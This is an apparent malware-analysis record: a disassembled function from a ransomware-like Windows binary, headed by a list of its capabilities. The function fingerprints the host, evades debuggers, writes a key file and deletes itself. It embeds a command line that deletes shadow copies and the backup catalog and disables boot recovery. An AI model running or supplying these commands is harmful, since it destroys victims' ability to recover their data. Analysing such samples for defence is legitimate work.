Function at 0x412210
Capabilities:
Check for debugger via api
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Delete file
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features
Get common file path
Get disk information
Get hostname
Get startup folder
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x868
mov eax, dword [0x46c074]
xor eax, esp
mov dword [esp + 0x864], eax
push esi
push edi
lea eax, [esp + 0xfc]
mov dword [esp + 0xfc], 0x10
push eax
lea eax, [esp + 0x33c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push 0xb
push str.MachineGuid
lea ecx, [esp + 0xb8]
mov dword [esp + 0x118], 0
mov dword [esp + 0x11c], 0xf
mov byte [esp + 0x108], 0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
call fcn.00401eb0
push 0x2c
push str.EAEBBBUPHAgPHS03Iz4lLCU6GxMwNz45PDc2NSE5Lw
lea ecx, [esp + 0x98]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xac], 0xf
mov byte [esp + 0x98], 0
call fcn.00401eb0
lea eax, [esp + 0xb0]
push eax
sub esp, 0x18
lea edx, [esp + 0xac]
mov ecx, esp
call fcn.00402140
lea ecx, [esp + 0x2c]
call fcn.00402260
add esp, 0x18
lea ecx, [esp + 0x1d4]
mov edx, eax
call fcn.00411a80
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, 0x10
jb 0x412355
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x41234c
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp eax, 0x10
jb 0x4123c2
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x90]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x4123b9
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xc4]
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
cmp eax, 0x10
jb 0x412438
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0xb0]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x41242f
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
push 9
push str.ProductId
lea ecx, [esp + 0xb8]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
call fcn.00401eb0
push 0x3c
push str.EAEBBBUPHAgPHS03Iz4lLCU6GwcrICoiJCNkGgUNFTYxPCINhgrPyA5Kzo
lea ecx, [esp + 0x98]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xac], 0xf
mov byte [esp + 0x98], 0
call fcn.00401eb0
lea eax, [esp + 0xb0]
push eax
sub esp, 0x18
lea edx, [esp + 0xac]
mov ecx, esp
call fcn.00402140
lea ecx, [esp + 0x2c]
call fcn.00402260
add esp, 0x18
lea ecx, [esp + 0x1bc]
mov edx, eax
call fcn.00411a80
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, 0x10
jb 0x412522
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412519
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp eax, 0x10
jb 0x41258f
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x90]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412586
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xc4]
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
cmp eax, 0x10
jb 0x412605
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0xb0]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x4125fc
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
push 0xb
push str.InstallDate
lea ecx, [esp + 0xb8]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
call fcn.00401eb0
push 0x3c
push str.EAEBBBUPHAgPHS03Iz4lLCU6GwcrICoiJCNkGgUNFTYxPCINhgrPyA5Kzo
lea ecx, [esp + 0x98]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xac], 0xf
mov byte [esp + 0x98], 0
call fcn.00401eb0
lea eax, [esp + 0xb0]
push eax
sub esp, 0x18
lea edx, [esp + 0xac]
mov ecx, esp
call fcn.00402140
lea ecx, [esp + 0x2c]
call fcn.00402260
add esp, 0x18
lea ecx, [esp + 0x1a4]
mov edx, eax
call fcn.00411a80
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, 0x10
jb 0x4126ef
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x4126e6
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp eax, 0x10
jb 0x41275c
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x90]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412753
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xc4]
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
cmp eax, 0x10
jb 0x4127d2
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0xb0]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x4127c9
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
push 0x11
push str.SystemBiosVersion
lea ecx, [esp + 0xb8]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
call fcn.00401eb0
push 0x24
push str.Cw8VFBUPHAgPFAEHEgMfExcHCB4eHTcJzUp
lea ecx, [esp + 0x98]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xac], 0xf
mov byte [esp + 0x98], 0
call fcn.00401eb0
lea eax, [esp + 0xb0]
push eax
sub esp, 0x18
lea edx, [esp + 0xac]
mov ecx, esp
call fcn.00402140
lea ecx, [esp + 0x2c]
call fcn.00402260
add esp, 0x18
lea ecx, [esp + 0x18c]
mov edx, eax
call fcn.00411a80
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, 0x10
jb 0x4128bc
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x4128b3
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp eax, 0x10
jb 0x412929
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x90]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412920
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
mov eax, dword [esp + 0xc4]
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
cmp eax, 0x10
jb 0x41299f
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0xb0]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412996
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
cmp dword [esp + 0x1e4], 0x10
lea eax, [esp + 0x1d0]
push dword [esp + 0x1e0]
cmovae eax, dword [esp + 0x1d4]
lea ecx, [esp + 0x104]
push eax
call fcn.004039a0
cmp dword [esp + 0x1cc], 0x10
lea eax, [esp + 0x1b8]
push dword [esp + 0x1c8]
cmovae eax, dword [esp + 0x1bc]
lea ecx, [esp + 0x104]
push eax
call fcn.004039a0
cmp dword [esp + 0x1b4], 0x10
lea eax, [esp + 0x1a0]
push dword [esp + 0x1b0]
cmovae eax, dword [esp + 0x1a4]
lea ecx, [esp + 0x104]
push eax
call fcn.004039a0
cmp dword [esp + 0x19c], 0x10
lea eax, [esp + 0x188]
push dword [esp + 0x198]
cmovae eax, dword [esp + 0x18c]
lea ecx, [esp + 0x104]
push eax
call fcn.004039a0
lea ecx, [esp + 0x338]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412a55
sub ecx, edx
lea eax, [esp + 0x338]
push ecx
push eax
lea ecx, [esp + 0x108]
call fcn.004039a0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xec]
mov dword [esp + 0xec], 0
push eax
push 0
push 0
push 0x463438
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push dword [esp + 0xdc]
lea ecx, [esp + 0x104]
call fcn.00401cb0
lea eax, [esp + 0x100]
push eax
lea ecx, [esp + 0x54]
call fcn.00401b80
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x2cc]
call fcn.00415f50
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x2cc]
call fcn.00416840
mov eax, dword [esp + 0x64]
cmp eax, 0x10
jb 0x412b38
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x50]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412b2f
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x94]
call fcn.00401b80
mov eax, dword [esp + 0xa0]
inc eax
push eax
call fcn.0041bf43
mov ecx, dword [esp + 0xa4]
lea edx, [esp + 0x94]
add esp, 4
mov dword [esp + 0x38], eax
cmp dword [esp + 0xa4], 0x10
lea eax, [esp + 0x90]
mov esi, dword [esp + 0x38]
cmovae edx, dword [esp + 0x90]
add ecx, edx
cmp dword [esp + 0xa4], 0x10
cmovae eax, dword [esp + 0x90]
sub ecx, eax
push ecx
push eax
push esi
call fcn.00432c50
mov eax, dword [esp + 0xac]
add esp, 0xc
push esi
push 0
push 0
mov byte [esi + eax], 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x412bd1
jmp 0x4136df
mov eax, dword [esp + 0xa4]
cmp eax, 0x10
jb 0x412c29
xor dl, dl
lea ecx, [eax + 1]
mov eax, dword [esp + 0x90]
jne 0x4136e6
cmp ecx, 0x1000
jb 0x412c20
test al, 0x1f
jne 0x4136e6
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x4136e6
sub eax, ecx
cmp eax, 4
jb 0x4136e6
cmp eax, 0x23
ja 0x4136e6
mov eax, ecx
push eax
call fcn.0041bf0d
add esp, 4
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
jne 0x4136eb
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_CheckRemoteDebuggerPresent]
test eax, eax
je 0x412c65
cmp dword [esp + 0xe0], 0
jne 0x4136f2
call fcn.00401860
test al, al
jne 0x4136f9
push 0x18
push str.ECEhJDUvPCgPAyUgJCM4bg
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], al
call fcn.00401eb0
lea eax, [esp + 0xe4]
push eax
sub esp, 0x18
lea edx, [esp + 0x2c]
mov ecx, esp
call fcn.00402140
lea ecx, [esp + 0x6c]
call fcn.00402260
add esp, 0x18
lea ecx, [esp + 0x11c]
mov edx, eax
call fcn.0040f2c0
add esp, 4
lea ecx, [esp + 0x50]
call fcn.00401ae0
lea ecx, [esp + 0x10]
call fcn.00401ae0
mov eax, dword [esp + 0x128]
inc eax
push eax
call fcn.0041bf43
mov eax, dword [esp + 0x12c]
add esp, 4
inc eax
push eax
call fcn.0041bf43
mov ecx, dword [esp + 0x12c]
lea edx, [esp + 0x11c]
add esp, 4
mov dword [esp + 0x38], eax
cmp dword [esp + 0x12c], 0x10
lea eax, [esp + 0x118]
mov esi, dword [esp + 0x38]
cmovae edx, dword [esp + 0x118]
add ecx, edx
cmp dword [esp + 0x12c], 0x10
cmovae eax, dword [esp + 0x118]
sub ecx, eax
push ecx
push eax
push esi
call fcn.00432c50
mov eax, dword [esp + 0x134]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [esp + 0x48]
push eax
push 0xf003f
push 0
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x413700
push 1
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
lea ecx, [esp + 0x2b0]
call fcn.00412030
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0xe4]
add eax, 0xffffffec
push eax
push 0
lea eax, [esp + 0x178]
push eax
call fcn.004036f0
sub esp, 0x18
lea eax, [esp + 0x188]
mov ecx, esp
push eax
call fcn.00401b80
call fcn.00411d70
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
add esp, 0x18
call edi
push 0
push 3
push 0x401fffff
mov esi, eax
xorps xmm0, xmm0
push str.CURRENT_USER
lea eax, [esp + 0x60]
push eax
movups xmmword [esp + 0x64], xmm0
movups xmmword [esp + 0x74], xmm0
call dword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameA]
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 0
push eax
push 0
lea eax, [esp + 0x58]
push eax
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
push 0
push dword [esp + 0x50]
push 0
push 0
push 4
push 6
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xf
push str.ISVOLUMESHADOWS
lea ecx, [esp + 0x160]
mov dword [esp + 0x170], 0
mov dword [esp + 0x174], 0xf
mov byte [esp + 0x160], 0
call fcn.00401eb0
mov edx, str.YESVOLUMESHADOW
lea ecx, [esp + 0x158]
call fcn.00401fe0
test al, al
je 0x412e86
call fcn.00411c80
jmp 0x412f45
lea eax, [esp + 0x4c]
xor esi, esi
push eax
push 8
mov dword [esp + 0x54], esi
call edi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x412ed3
lea eax, [esp + 0xd4]
mov dword [esp + 0xd4], 4
push eax
push 4
lea eax, [esp + 0xe0]
push eax
push 0x14
push dword [esp + 0x5c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [esp + 0xd8]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x412ee2
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test esi, esi
je 0x412eed
call fcn.00411c80
jmp 0x412f45
call fcn.00411bf0
lea eax, [esp + 0x50]
mov dword [esp + 0x50], 0x3c
push eax
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], str.open
mov dword [esp + 0x64], str.cmd.exe
mov dword [esp + 0x68], str._C_vssadmin.exe_delete_shadows__all__quiet__wmic.exe_shadowcopy_delete__bcdedit__set_default_bootstatuspolicy_ignoreallfailures__bcdedit__set_default_recoveryenabled_no__wbadmin_delete_catalog__quiet
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
call fcn.00411d00
mov esi, eax
call fcn.00411d00
mov edi, eax
call fcn.00411d00
mov dword [esp + 0xd8], eax
call fcn.00411d00
mov dword [esp + 0xd4], eax
call fcn.00411d00
mov dword [esp + 0x4c], eax
call fcn.00411d00
mov dword [esp + 0x3c], eax
call fcn.00411d00
mov dword [esp + 0x40], eax
call fcn.00411d00
mov dword [esp + 0x44], eax
call fcn.00411d00
push 0xb0
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x1ec]
push 0
push eax
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0xf
mov byte [esp + 0x5c], 0
call fcn.00433c30
add esp, 8
mov dword [esp + 0x1ec], 0x461f38
lea eax, [esp + 0x204]
mov dword [esp + 0x1fc], 0x463494
lea ecx, [esp + 0x1ec]
mov dword [esp + method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
push eax
call fcn.0040ec10
mov eax, dword [esp + 0x1e8]
mov eax, dword [eax + 4]
mov dword [esp + eax + method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [esp + 0x1e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x1e4], eax
lea ecx, [esp + 0x200]
call fcn.0040eec0
push esi
lea ecx, [esp + 0x1fc]
mov dword [esp + method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [esp + 0x23c], 0
mov dword [esp + 0x240], 0
call fcn.00413e90
push edi
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0xd8]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0xd4]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0x4c]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0x3c]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0x40]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0x44]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
push dword [esp + 0x48]
lea ecx, [esp + 0x1fc]
call fcn.00413e90
mov ecx, dword [esp + 0x23c]
test cl, 2
jne 0x41318e
mov eax, dword [esp + 0x220]
mov eax, dword [eax]
test eax, eax
je 0x41318e
mov ecx, dword [esp + 0x238]
cmp ecx, eax
cmovb ecx, eax
mov eax, dword [esp + 0x210]
mov eax, dword [eax]
sub ecx, eax
push ecx
push eax
lea ecx, [esp + 0x98]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xac], 0xf
mov byte [esp + 0x98], 0
call fcn.00401eb0
movaps xmm0, xmmword [esp + 0x90]
lea ecx, [esp + 0x90]
movaps xmmword [esp + 0x10], xmm0
movq xmm0, qword [esp + 0xa0]
movq qword [esp + 0x20], xmm0
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
call fcn.00401ae0
jmp 0x41326a
test cl, 4
jne 0x413230
mov eax, dword [esp + 0x21c]
mov edx, dword [eax]
test edx, edx
je 0x413230
mov eax, dword [esp + 0x20c]
mov ecx, dword [eax]
sub edx, ecx
mov eax, dword [esp + 0x22c]
add edx, dword [eax]
push edx
push ecx
lea ecx, [esp + 0xb8]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
call fcn.00401eb0
movaps xmm0, xmmword [esp + 0xb0]
lea ecx, [esp + 0xb0]
movaps xmmword [esp + 0x10], xmm0
movq xmm0, qword [esp + 0xc0]
movq qword [esp + 0x20], xmm0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xf
mov byte [esp + 0xb0], 0
call fcn.00401ae0
jmp 0x41326a
mov byte [esp + 0xb0], 0
movaps xmm0, xmmword [esp + 0xb0]
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xf
movaps xmmword [esp + 0x10], xmm0
movq xmm0, qword [esp + 0xc0]
movq qword [esp + 0x20], xmm0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x54]
call fcn.00403760
lea ecx, [esp + 0x10]
call fcn.00401ae0
sub esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push eax
call fcn.00401b80
lea ecx, [esp + 0x2b0]
call fcn.00417e20
lea eax, [esp + 0xfc]
mov ecx, esp
push eax
call fcn.00401b80
sub esp, 0x18
lea eax, [esp + 0x2c8]
mov ecx, esp
push eax
call fcn.00401b80
call fcn.0040b120
call fcn.004168f0
call fcn.00411f80
push 0x104
lea eax, [esp + 0x484]
push 0
push eax
call fcn.00433c30
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x48c]
add esp, 0x3c
push 0
push 0x10
push eax
push 0
call edi
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0x10]
add eax, 6
mov dword [esp + 0x20], 0
push eax
mov dword [esp + 0x28], 0xf
mov byte [esp + 0x14], 0
call fcn.0040fd10
push 6
push str.KEY_
lea ecx, [esp + 0x18]
call fcn.004039a0
cmp dword [esp + 0xf8], 0x10
lea eax, [esp + 0xe4]
push dword [esp + 0xf4]
cmovae eax, dword [esp + 0xe8]
lea ecx, [esp + 0x14]
push eax
call fcn.004039a0
push 4
push str..KEY
lea ecx, [esp + 0x18]
call fcn.004039a0
mov dword [esp + 0x140], 0
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x130], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x140], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00401ae0
cmp dword [esp + 0x144], 0x10
lea eax, [esp + 0x130]
cmovae eax, dword [esp + 0x130]
push eax
lea eax, [esp + 0x454]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
push 1
call fcn.0041bb7b
sub esp, 0x14
lea eax, [esp + 0xfc]
mov ecx, esp
push eax
call fcn.00401b80
sub esp, 0x18
lea ecx, [esp + 0x480]
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413420
sub ecx, esi
lea eax, [esp + 0x480]
push ecx
push eax
mov ecx, edx
call fcn.00401eb0
sub esp, 0x18
lea eax, [esp + 0x2e0]
mov ecx, esp
push eax
call fcn.00401b80
call fcn.00408340
mov esi, dword [esp + 0x38]
lea eax, [esp + 0x48]
push eax
push 0xf003f
push 0
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x4134b2
mov edx, str.Creating_registry_key:
mov ecx, 0x478c70
call fcn.004155d0
mov edx, esi
mov ecx, eax
call fcn.004155d0
push eax
call fcn.00415870
add esp, 4
lea eax, [esp + 0x48]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4134ef
push eax
push ecx
mov edx, str.Error:
mov ecx, 0x478c70
call fcn.004155d0
add esp, 4
mov ecx, eax
call fcn.00413e90
mov edx, str._Could_not_find_or_create
mov ecx, eax
call fcn.004155d0
mov edx, esi
mov ecx, eax
call fcn.004155d0
push eax
call fcn.00415870
add esp, 4
push 0x104
lea eax, [esp + 0x34c]
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [esp + 0x348]
push 0
push 7
push eax
push 0
call edi
push 0x460de4
lea eax, [esp + 0x34c]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [esp + 0x170]
cmp dword [esp + 0x184], 0x10
cmovae eax, dword [esp + 0x170]
push eax
lea eax, [esp + 0x34c]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [esp + 0x348]
push str..lnk
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x44
lea eax, [esp + 0x2cc]
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [esp + 0x558]
xorps xmm0, xmm0
movups xmmword [esp + 0x90], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x558]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del___s_
lea eax, [esp + 0x668]
push 0x208
push eax
call fcn.00411a00
add esp, 0x10
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x2cc]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x680]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push dword [esp + 0x94]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [esp + 0x90]
call esi
lea ecx, [esp + 0x130]
call fcn.00401ae0
lea ecx, [esp + 0x298]
call fcn.00401ae0
lea ecx, [esp + 0x1e8]
call fcn.00413710
lea ecx, [esp + 0x50]
call fcn.00401ae0
lea ecx, [esp + 0x158]
call fcn.00401ae0
lea ecx, [esp + 0x170]
call fcn.00401ae0
lea ecx, [esp + 0x2b0]
call fcn.00401ae0
lea ecx, [esp + 0x118]
call fcn.00401ae0
lea ecx, [esp + 0xe4]
call fcn.00401ae0
lea ecx, [esp + 0x188]
call fcn.00401ae0
lea ecx, [esp + 0x1a0]
call fcn.00401ae0
lea ecx, [esp + 0x1b8]
call fcn.00401ae0
lea ecx, [esp + 0x1d0]
call fcn.00401ae0
lea ecx, [esp + 0x100]
call fcn.00401ae0
mov ecx, dword [esp + 0x86c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.0043965d
call fcn.00437255
push 0
call fcn.0043965d
push 0
call fcn.0043965d
push 0
call fcn.0043965d
push 0
call fcn.0043965d
int3